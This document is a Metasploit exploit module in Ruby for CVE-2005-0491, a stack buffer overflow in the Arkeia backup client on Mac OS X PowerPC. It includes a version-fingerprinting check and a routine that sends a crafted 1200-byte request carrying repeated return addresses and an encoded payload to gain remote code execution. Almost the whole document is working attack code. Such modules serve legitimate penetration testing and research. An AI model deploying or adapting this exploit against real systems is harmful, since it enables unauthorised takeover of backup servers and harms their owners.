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## # $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Arkeia def initialize(info = {}) super(update_info(info, 'Name' => 'Arkeia Backup Client Type 77 Overflow (Mac OS X)', 'Description'=> %q{ This module exploits a stack buffer overflow in the Arkeia backup client for the Mac OS X platform. This vulnerability affects all versions up to and including 5.3.3 and has been tested with Arkeia 5.3.1 on Mac OS X 10.3.5. }, 'Author' => [ 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9262 $', 'References' => [ [ 'CVE', '2005-0491'], [ 'OSVDB', '14011'], [ 'BID', '12594'], [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'], ], 'Privileged' => true, 'Payload'=> { 'Space'=> 1000, 'BadChars' => "\x00", 'MinNops'=> 700, 'Compat' => { 'ConnectionType' => '-find', }, }, 'Targets'=> [ [ 'Arkeia 5.3.1 Stack Return (boot)', { 'Platform' => 'osx', 'Arch' => ARCH_PPC, 'Ret'=> 0xbffff910, }, ], ], 'DisclosureDate' => 'Feb 18 2005', 'DefaultTarget' => 0)) end def check info = arkeia_info() if !(info and info['Version']) return Exploit::CheckCode::Safe end print_status("Arkeia Server Information:") info.each_pair { |k,v| print_status(" #{k + (" " * (30-k.length))} = #{v}") } if (info['System'] !~ /Darwin/) print_status("This module only supports Mac OS X targets") return Exploit::CheckCode::Detected end if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect # Request has to be big enough to find and small enough # not to write off the end of the stack. If we write too # far down, we also smash env[], which causes a crash in # getenv() before our function returns. head = "\x00\x4d\x00\x03\x00\x01\xff\xff" head[6, 2] = [1200].pack('n') buf = rand_text_english(1200, payload_badchars) # Return back to the stack either directly or via system lib buf[0, 112] = [target.ret].pack('N') * (112/4) # Huge nop slep followed by the payload buf[112, payload.encoded.length] = payload.encoded print_status("Sending request...") begin sock.put(head) sock.put(buf) sock.get_once rescue IOError, EOFError => e print_status("Exception: #{e.class}:#{e}") end handler disconnect end end |
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